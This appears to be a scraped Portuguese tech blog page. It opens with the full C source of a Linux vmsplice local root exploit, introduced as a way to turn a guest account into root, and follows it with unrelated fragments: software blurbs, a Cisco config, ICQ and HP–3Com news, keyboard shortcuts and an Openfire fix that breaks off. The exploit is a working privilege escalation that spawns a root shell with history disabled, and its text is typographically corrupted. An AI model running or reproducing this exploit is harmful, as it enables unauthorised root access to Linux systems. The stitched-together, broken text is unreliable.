Segue um Exploit para que quando executado em Linux com Kernel menor que 2.6 a conta de convidado vire ROOT!

/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 – 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don’t remeber original intent of all
* the code, so I’m not 100% sure about it. You’ve been warned
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound     14
#define uint            unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)  (x + sizeof(x) – 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void  exit_code();
char  exit_stack[1024 * 1024];

void  die(char *msg, int err)
{
printf(err ? “[-] %s: %s\n” : “[-] %s\n”, msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif

#define USER_CS         0×73
#define USER_SS         0x7b
#define USER_FL         0×246

static_inline
void  exit_kernel()
{
__asm__ __volatile__ (
“movl %0, 0×10(%%esp) ;”
“movl %1, 0x0c(%%esp) ;”
“movl %2, 0×08(%%esp) ;”
“movl %3, 0×04(%%esp) ;”
“movl %4, 0×00(%%esp) ;”
“iret”
: : “i” (USER_SS), “r” (STACK(exit_stack)), “i” (USER_FL),
“i” (USER_CS), “r” (exit_code)
);
}

static_inline
void *      get_current()
{
unsigned long curr;
__asm__ __volatile__ (
“movl %%esp, %%eax ;”
“andl %1, %%eax ;”
“movl (%%eax), %0″
: “=r” (curr)
: “i” (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif

#define USER_CS         0×23
#define USER_SS         0x2b
#define USER_FL         0×246

static_inline
void  exit_kernel()
{
__asm__ __volatile__ (
“swapgs ;”
“movq %0, 0×20(%%rsp) ;”
“movq %1, 0×18(%%rsp) ;”
“movq %2, 0×10(%%rsp) ;”
“movq %3, 0×08(%%rsp) ;”
“movq %4, 0×00(%%rsp) ;”
“iretq”
: : “i” (USER_SS), “r” (STACK(exit_stack)), “i” (USER_FL),
“i” (USER_CS), “r” (exit_code)
);
}

static_inline
void *      get_current()
{
unsigned long curr;
__asm__ __volatile__ (
“movq %%gs:(0), %0″
: “=r” (curr)
);
return (void *) curr;
}

#else
#error “unsupported arch”
#endif

#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)     syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void  kernel_code()
{
int   i;
uint  *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void  exit_code()
{
if (getuid() != 0)
die(“wtf”, 0);

printf(“[+] root\n”);
putenv(“HISTFILE=/dev/null”);
execl(“/bin/bash”, “bash”, “-i”, NULL);
die(“/bin/bash”, errno);
}

int   main(int argc, char *argv[])
{
int         pi[2];
size_t            map_size;
char *            map_addr;
struct iovec      iov;
struct page *     pages[5];

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf(“———————————–\n”);
printf(” Linux vmsplice Local Root Exploit\n”);
printf(” By qaaz\n”);
printf(“———————————–\n”);

if (!uid || !gid)
die(“!@#$”, 0);

/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(“mmap”, errno);

memset(map_addr, 0, map_size);
printf(“[+] mmap: 0x%lx .. 0x%lx\n”, map_addr, map_addr + map_size);
printf(“[+] page: 0x%lx\n”, pages[0]);
printf(“[+] page: 0x%lx\n”, pages[1]);

pages[0]->flags    = 1 << PG_compound;
pages[0]->private  = (unsigned long) pages[0];
pages[0]->count    = 1;
pages[1]->lru.next = (long) kernel_code;

/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(“mmap”, errno);

memset(map_addr, 0, map_size);
printf(“[+] mmap: 0x%lx .. 0x%lx\n”, map_addr, map_addr + map_size);
printf(“[+] page: 0x%lx\n”, pages[2]);
printf(“[+] page: 0x%lx\n”, pages[3]);

pages[2]->flags    = 1 << PG_compound;
pages[2]->private  = (unsigned long) pages[2];
pages[2]->count    = 1;
pages[3]->lru.next = (long) kernel_code;

/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(“mmap”, errno);
memset(map_addr, 0, map_size);
printf(“[+] mmap: 0x%lx .. 0x%lx\n”, map_addr, map_addr + map_size);
printf(“[+] page: 0x%lx\n”, pages[4]);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(“mmap”, errno);

memset(map_addr, 0, map_size);
printf(“[+] mmap: 0x%lx .. 0x%lx\n”, map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die(“munmap”, errno);

/*****/
if (pipe(pi) < 0) die(“pipe”, errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len  = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die(“vmsplice”, errno);
return 0;
}

// milw0rm.com [2008-02-09]

Descrição:

Nome: Microsoft Network Monitor

Versão: 3.3

Licença: Gratuito

S.O.: Windows XP, Windows Vista e Windows 7

Tamanho: 5 MB á 16.3MB

Download: Network Monitor

Informações: Network Monitor

Router(config)# line vty 0 15
Router(config-line)# escape-character 3
Router(config)# line con 0
Router(config-line)# escape-character 3

A ferramenta de comunicação ainda existe e mantém sua popularidade em países como a Rússia ou em pequenos nichos de amizades virtuais, no caso do Brasil. Mesmo com essa escassez de usuários, seus desenvolvedores trabalham na criação de uma versão 7.0, que promete atender aos mais diversos padrões de usuários.

O ICQ teve seu declínio após a sua aquisição pela América Online (AOL), que já contava com um famoso aplicativo de comunicação chamado AIM, e desde 2001 tem perdido espaço no Brasil para aplicativos como Windowns Live Messenger, desenvolvido pela Microsoft e atual líder do mercado.

Fonte: Olhar Digital

Segue os comandos:

ALT+DELETE (Exibir o menu do Windows)
ALT+HOME (Exibir o menu Iniciar)
ALT+INSERT (Circular através dos programas na ordem dos usados mais recentemente)
ALT+PAGE DOWN (Alternar entre programas da direita para a esquerda)
ALT+PAGE UP (Alternar entre programas da esquerda para a direita)
CTRL+ALT+BREAK (Alternar entre uma janela e a tela inteira do computador cliente)
CTRL+ALT+END (Abrir a caixa de diálogo Segurança do Microsoft Windows NT)
CTRL+ALT+sinal de mais (+) (Colocar um instantâneo da área de janela inteira do cliente na área de transferência do servidor de Terminal e fornecer a mesma funcionalidade que pressionar ALT+PRINT SCREEN em um computador local).
CTRL+ALT+sinal de menos (-) (Colocar um instantâneo da janela aiva no cliente na área de transferência do servidor de Terminal e fornecer a mesma funcionalidade que pressionar PRINT SCREEN em um computador local).

A HP e a 3Com anunciam nesta quarta-feira (11/11) um acordo definitivo no qual a HP adquire a fabricante de produtos de networking, numa transação de US$ 7,90 por ação em dinheiro ou aproximadamente US$ 2,7 bilhões. Os termos do acordo foram aprovados pelos boards de diretores da HP e da 3Com.
Em comunicado divulgado no site corporativo da HP, a companhia informa que “essa combinação transformará a indústria de networking e salienta a estratégia de data center de próxima geração da fabricante, contruído com base na convergência de servidores, storage, networking e serviços”.

Ainda no informe, a HP diz que o acordo ajudará os clientes a simplificar a sua infraestrutura de redes, além de aprimorar a capacidade de entrega de serviços. “As companhias estão buscando por maneiras de se libertarem das limitações de negócio impostas por um paradigma de networking que tem sido dominado por um único fabricante”, disse Dave Donatelli, vice-presidente executivo e gerente-geral da unidade de Enterprise Servers and Networking da HP.

“Adquirindo a 3Com, nós estamos acelerando a execução de nossa estratégia de Infraestrutura Convergente e trazendo uma ruptura para a indústria de networking. Combinando a oferta HP ProCurve com a extensa oferta de soluções da 3Com, vamos permitir que nossos clientes construam uma infraestrutura de redes de próxima geração que suporta a necessidade das empresas desde a borda da rede até o coração do data center”.

A aquisição da 3Com vai expandir a oferta de switches Ethernet da HP, com a adição de soluções de roteamento, e fortalecer a posição da companhia na China – um dos principais mercados de crescimento – por meio da marca H3C, ressaltou a HP também no comunicado.

Sob os termos do acordo, os acionistas da 3Com receberão US$ 7,90 por cada ação ordinária da 3Com quando concluída a aquisição. A transação está sujeita a aprovação regulatórias e por parte dos acionistas da empresa adquirida. A expectativa é que o acrodo seja concluído na primeira metade do calendário 2010.

Nesta tarde, a HP conduzirá um webcast por áudio com analistas financeiros e acionistas para discutir o acordo. O webcast será comandado por Dave Donatelli.

Procuras pela reportagem do Reseller Web, HP e 3Com no Brasil ainda não se posicionaram sobre a compra.

Há mais de um ano, HP e Cisco travam uma disputa dura e escancarada pelos executivos de alto escalão de ambas as companhias quanto à oferta de soluções convergentes para data centers. E com a aquisição da 3Com pela HP, a disputa entre as fabricantes pelo mesmo espaço certamente ficará ainda mais acirrada.

Fonte: ITWeb

Vou compartilhar com vc’s um problema que ocorreu no servidor Openfire.

Apos a instalacao do Openfire numa estacao Ubuntu o usuario admin do Openfire apresentava problemas no login da console de configuracao do mesmo.

Entao apos pesquisar na net eu encontrei uma solucao.

Acesse /etc/openfire e edite o arquivo openfire.xml para acrescentar algumas linhas:

1. Plataforma de alto desempenho para a próxima geração de aplicativos

O Windows XP Professional x64 Edition é uma plataforma rica que permite uma nova geração de informática de alta geração. Os aplicativos 64 bits nativos podem liberar mais dados por ciclo de relógio, o que resulta em uma execução mais rápida e eficiente.
Amplo suporte de memória    Amplo suporte de memória

2. Amplo suporte de memória

O Windows XP Professional x64 Edition suporta até 128 gigabytes (GB) de RAM e 16 terabytes de memória virtual, permitindo a rapidez na execução dos aplicativos enquanto opera com amplo ajuste de dados. Os aplicativos podem pré-carregar substancialmente mais dados na memória virtual, permitindo o acesso rápido pelo processador de 64 bits.
Flexibilidade    Flexibilidade

3. Flexibilidade

O Windows XP Professional x64 Edition oferece uma plataforma rica para integrar aplicativos de 64 bits e 32 bits existentes usando o emulador Windows on Windows 64 (WOW64) x86, habilitando os usuários a mudar para 64 bits sem perder o que foi investido no software de 32 bits e sem perder também as facilidades do Windows.
Multiprocessador e multicore    Multiprocessador e multicore

4. Multiprocessador e multicore

O Windows XP Professional x64 Edition foi projetado para suportar até dois processadores x64 single ou multicore para máximo desempenho e escalabilidade.
Mesmo modelo de programação    Mesmo modelo de programação

5. Mesmo modelo de programação

Os desenvolvedores de 32 bits serão melhores e mais produtivos no ambiente Windows 64 bits, pois o mesmo é virtualmente idêntico ao Windows 32 bits.

Fonte: Microsoft

O comando é: Alt Gr + Seta (No caso para o lado que deseja inverter)